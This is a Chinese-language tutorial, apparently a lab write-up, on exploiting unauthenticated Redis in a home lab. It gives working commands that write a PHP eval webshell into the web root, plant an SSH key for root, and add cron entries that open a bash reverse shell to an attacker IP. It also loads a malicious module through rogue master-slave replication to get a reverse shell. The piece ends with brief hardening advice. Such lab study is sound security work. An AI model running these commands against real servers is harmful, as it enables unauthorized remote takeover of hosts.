Redis简介

redis是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)、zset(sorted set --有序集合)和hash(哈希类型)。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。与memcached一样,为了保证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步。

Redis 是一个高性能的key-value数据库。 redis的出现,很大程度补偿了memcached这类key/value存储的不足,在部 分场合可以对关系数据库起到很好的补充作用。它提供了Java,C/C++,C#,PHP,JavaScript,Perl,Object-C,Python,Ruby,Erlang等客户端,使用很方便。

Redis支持主从同步。数据可以从主服务器向任意数量的从服务器上同步,从服务器可以是关联其他从服务器的主服务器。这使得Redis可执行单层树复制。存盘可以有意无意的对数据进行写操作。由于完全实现了发布/订阅机制,使得从数据库在任何地方同步树时,可订阅一个频道并接收主服务器完整的消息发布记录。同步对读取操作的可扩展性和数据冗余很有帮助。

默认端口:6379 sentinel.conf配置器端口为:26379

Redis环境安装

官网地址:https://redis.io/

下载地址:http://download.redis.io/releases/

1.Redis-3.2.0安装

wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar xzf redis-3.2.0.tar.gz
cd redis-3.2.0
make   #编译安装

redis漏洞dir被过滤 redis漏洞利用_redis

2.Redis-4.0.8安装

wget http://download.redis.io/releases/redis-4.0.8.tar.gz
tar xvf redis-4.0.8.tar.gz
cd redis-4.0.8
make

redis漏洞dir被过滤 redis漏洞利用_memcached_02

make结束后,进入src目录下,将redis-cli和redis-server拷贝到/usr/bin目录下,这样每次启动时就不需要进入src目录下了。

redis漏洞dir被过滤 redis漏洞利用_memcached_03

redis漏洞dir被过滤 redis漏洞利用_redis_04

这里,如果是zsh的话,需要首先在配置文件中添加环境变量:

vi ~/.zshrc
export PATH=/root/Desktop/redis-3.2.0/src:$PATH

redis漏洞dir被过滤 redis漏洞利用_redis漏洞dir被过滤_05

然后刷新shell环境,即可使新增的环境变量生效:

source ~/.zshrc

redis漏洞dir被过滤 redis漏洞利用_redis漏洞dir被过滤_06

启动redis

redis-server redis.conf

redis漏洞dir被过滤 redis漏洞利用_Redis_07

如图所示,此时默认端口为6379,没用密码,这时候会导致未授权访问。

Redis未授权访问

漏洞原理

Redis默认情况下,会绑定在0.0.0.0:6379,如果没有采用相关的策略,如配置防火墙规则避免其他非信任来源的IP访问,就会将Redis服务暴露在公网上;如果没有设置密码认证(一般为空)的情况下,会导致任意用户可以访问目标服务器下未授权访问Redis以及读取Redis数据。

漏洞复现

复现环境:

kali2020(安装有redis3.2.0,192.168.190.128)

kali2021(安装有redis4.0.8,192.168.190.129)

编辑redis配置文件redis.conf:

redis漏洞dir被过滤 redis漏洞利用_redis_08

前面加上#号,去掉IP绑定,允许除本地外的主机登陆redis服务:

redis漏洞dir被过滤 redis漏洞利用_memcached_09

修改protected-mode为no,关闭保护模式,允许远程连接redis服务,protected-mode是Redis3.2版本新增的安全配置项,开启后要求需要配置bind ip或者设置访问密码,关闭后是允许远程连接:

redis漏洞dir被过滤 redis漏洞利用_memcached_10

重新启动redis。

redis漏洞dir被过滤 redis漏洞利用_Redis_11

redis写入webshell

漏洞原理

靶机的redis存在未授权访问,并且开启了web服务,知道了web目录的路径,并具有文件读写增删改查的权限,即可通过redis在指定的web目录下写入一句话木马,用菜刀连接可达到控制服务器的目的。

漏洞复现

靶机开启web服务,这里开启apache服务:

/etc/init.d/apache2 start

redis漏洞dir被过滤 redis漏洞利用_redis_12

redis漏洞dir被过滤 redis漏洞利用_memcached_13

在攻击机上执行下列命令(执行顺序可以打乱):

config set dir /var/www/html/ 
//切换到网站的根目录
config set dbfilename zcc.php
//在磁盘中生成木马文件
set xxx "\n\n\n<?php @eval($_POST['zcc']);?>\n\n\n" 
//写入恶意代码到内存中,这里的\n\n\n代表换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行.
save
//将内存中的数据导出到磁盘

redis漏洞dir被过滤 redis漏洞利用_redis漏洞dir被过滤_14

此时靶机网站根目录下已经写入该文件:

redis漏洞dir被过滤 redis漏洞利用_Redis_15

蚁剑测试:

redis漏洞dir被过滤 redis漏洞利用_数据库_16

redis漏洞dir被过滤 redis漏洞利用_Redis_17

redis密钥登录ssh

漏洞原理

在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。

漏洞复现

利用条件:redis对外开放,且是未授权访问状态,并且redis服务ssh对外开放,可以通过key登入。

靶机开启ssh服务:

/etc/init.d/ssh start

redis漏洞dir被过滤 redis漏洞利用_Redis_18

攻击机上创建ssh-rsa密钥,也就是生成key,这里密码搞成空,全部默认即可

ssh-keygen -t rsa

redis漏洞dir被过滤 redis漏洞利用_数据库_19

redis漏洞dir被过滤 redis漏洞利用_memcached_20

将公钥导入key.txt,这里将密钥开头和结尾添加了一些\n是用于防止乱码;

redis漏洞dir被过滤 redis漏洞利用_redis漏洞dir被过滤_21

将生成的公钥写入靶机服务器的内存之中

cat key.txt | redis-cli -h 192.168.190.128 -x set xxx
// -x 代表从标准输入读取数据作为该命令的最后一个参数。

redis漏洞dir被过滤 redis漏洞利用_redis漏洞dir被过滤_22

可以看见成功写入

redis漏洞dir被过滤 redis漏洞利用_redis_23

设置路径和保存的文件名,将内存变量导入磁盘文件

config set dir /root/.ssh
config set dbfilename authorized_keys
save

redis漏洞dir被过滤 redis漏洞利用_memcached_24

这里报错的意思是靶机没有这个文件目录, 原因是.ssh 是记录密码信息的文件夹,如果没有用root用户登录过的话,就没有 .ssh 文件夹,所以我们在靶机上执行下面这条命令即可(也可以手动创建.ssh目录):

ssh localhost

redis漏洞dir被过滤 redis漏洞利用_数据库_25

此时,可成功导入

redis漏洞dir被过滤 redis漏洞利用_Redis_26

靶机这边也成功写入

redis漏洞dir被过滤 redis漏洞利用_redis漏洞dir被过滤_27

此时,在攻击机这里用ssh连接靶机,可成功连接

ssh -i id_rsa root@192.168.190.128
或者
ssh 192.168.190.128

redis漏洞dir被过滤 redis漏洞利用_redis_28

利用计划任务反弹shell

漏洞原理

利用Redis未授权漏洞,可以通过写入文件到系统计划任务目录 /var/spool/cron下来执行。

漏洞复现

攻击机开启监听

redis漏洞dir被过滤 redis漏洞利用_redis漏洞dir被过滤_29

连接靶机redis,写入反弹shell

set xx "\n* * * * * bash -i >& /dev/tcp/192.168.190.129/1234 0>&1\n"
//星号表示的是计划任务的时间
config set dir /var/spool/cron/
config set dbfilename root
save

redis漏洞dir被过滤 redis漏洞利用_memcached_30

过一分钟左右可以收到反弹的shell,但是这里需要注意的是,只适用于centos上开启的服务,ubuntu上不行,不过我还是不相信会这么邪门,在网上发现了个文章,关于解决crontab反弹shell失败的,具体解决方法如下:

这里参考了这篇文章:https://m3lon.github.io/2019/03/18/%E8%A7%A3%E5%86%B3ubuntu-crontab%E5%8F%8D%E5%BC%B9shell%E5%A4%B1%E8%B4%A5%E7%9A%84%E9%97%AE%E9%A2%98/#more

centos的定时任务目录在/var/spool/cron/目录下,kali和ubuntu的定时任务文件在/var/spool/cron/crontabs目录下,因此这里我们重新写入

set xx "\n* * * * * bash -i >& /dev/tcp/192.168.190.129/1234 0>&1\n"
//星号表示的是计划任务的时间
config set dir /var/spool/cron/crontabs
config set dbfilename root
save

进入靶机计划任务目录查看,已经写入,但是文件权限为644

redis漏洞dir被过滤 redis漏洞利用_数据库_31

需要特别注意的一点是这的root文件的权限必须为600,否则会出现

cron[53948]: (root) INSECURE MODE (mode 0600 expected)

因此这里给他改了权限

redis漏洞dir被过滤 redis漏洞利用_数据库_32

同时反弹shell的shell环境是bash,而kali中的/bin/sh这个软连接指向了dash

redis漏洞dir被过滤 redis漏洞利用_数据库_33

这里修改为bash

redis漏洞dir被过滤 redis漏洞利用_数据库_34

不过这种方法kali依旧没有反弹回来。。(这里如果有师傅成功了可以和我说一下方法)

接下来试试第二种方法:

首先将/bin/sh改为dash

ln -s -f dash /bin/sh

redis漏洞dir被过滤 redis漏洞利用_Redis_35

避免在cron文件里去使用bash这个shell,在靶机上去建一个反弹shell的shell脚本文件,然后在任务计划里面去直接调用这个shell脚本文件,脚本内容为:

#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.190.129/1234 0>&1

redis漏洞dir被过滤 redis漏洞利用_redis_36

加个执行权限:

redis漏洞dir被过滤 redis漏洞利用_Redis_37

之后计划任务里面的内容改成

* * * * * /tmp/zcc.sh

redis漏洞dir被过滤 redis漏洞利用_Redis_38

依旧没有反弹,,好吧,是我菜鸡了,可能确实不行,这里问题先保留如果有师傅有建议,欢迎提出哈

远程主从复制RCE

漏洞原理

漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。在redis 4.x之后,通过外部拓展可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。

漏洞复现

redis-rogue-server工具下载地址:https://github.com/n0b0dyCN/redis-rogue-server

该工具无法对Redis密码进行Redis认证,也就是说该工具只适合目标存在Redis未授权访问漏洞时使用。如果存在密码可以使用下面这个工具。

Awsome-Redis-Rogue-Server工具下载地址:https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server

执行反弹

python3 redis-rogue-server.py -rhost 192.168.190.129 -lhost 192.168.190.128

redis漏洞dir被过滤 redis漏洞利用_redis漏洞dir被过滤_39

选择交互式的shell(interactive shell) 或者反弹shell(reserve shell),这里选择的是交互式;若是选择反弹的如下:

redis漏洞dir被过滤 redis漏洞利用_数据库_40

这部分的缺点就是只适用于目标机器允许远程登录的时候,如果目标机子只允许本地登录,则这种利用方法就不行了,此时可以配合其他漏洞,从目标本地登录redis。

本地Redis主从复制RCE反弹shell

漏洞原理

对于只允许本地连接的Redis服务器,可以通过开启主从模式从远程主机上同步恶意.so文件至本地,接着载入恶意.so文件模块,反弹shell至远程主机。

漏洞复现

这里将redis-rogue-server-master的exp.so复制到Awsome-Redis-Rogue-Server的目录下使用,因为exp.so带system模块。

redis漏洞dir被过滤 redis漏洞利用_redis_41

kali开启监听,接受会话的反弹

redis漏洞dir被过滤 redis漏洞利用_redis漏洞dir被过滤_42

开启15000端口的主服务器

python3 redis_rogue_server.py -v -path exp.so
-v      #冗余模式,仅启动Rouge Server模式

redis漏洞dir被过滤 redis漏洞利用_Redis_43

靶机本机登录redis开启主从模式

redis-cli

查看是否存在模块,可以看见目前没有可用模块

redis漏洞dir被过滤 redis漏洞利用_Redis_44

config set dir /tmp
//一般tmp目录都有写权限,所以选择这个目录写入
config set dbfilename exp.so
//设置导出文件的名字
slaveof 192.168.190.128 15000
//进行主从同步,将恶意so文件写入到tmp目录

redis漏洞dir被过滤 redis漏洞利用_memcached_45

redis漏洞dir被过滤 redis漏洞利用_redis漏洞dir被过滤_46

可以看见主服务器上FULLRESYNC全局同步数据中…

module load ./exp.so 
//加载写入的恶意so文件模块
module list
//查看恶意so有没有加载成功,主要看有没有“system”

redis漏洞dir被过滤 redis漏洞利用_redis漏洞dir被过滤_47

可以看见加载是成功的。

反弹shell:

system.rev 192.168.190.128 1234

redis漏洞dir被过滤 redis漏洞利用_数据库_48

redis漏洞dir被过滤 redis漏洞利用_redis_49

关闭主从模式

slaveof NO ONE

redis漏洞dir被过滤 redis漏洞利用_memcached_50

安全防护

redis的安全设置:设置完毕,需要重加载配置文件启动redis

1.绑定内网ip地址进行访问

2.requirepass设置redis密码

3.保护模式开启protected-mode开启(默认开启)

4.最好把端口更改

5.单独为redis设置一个普通账号,启动redis。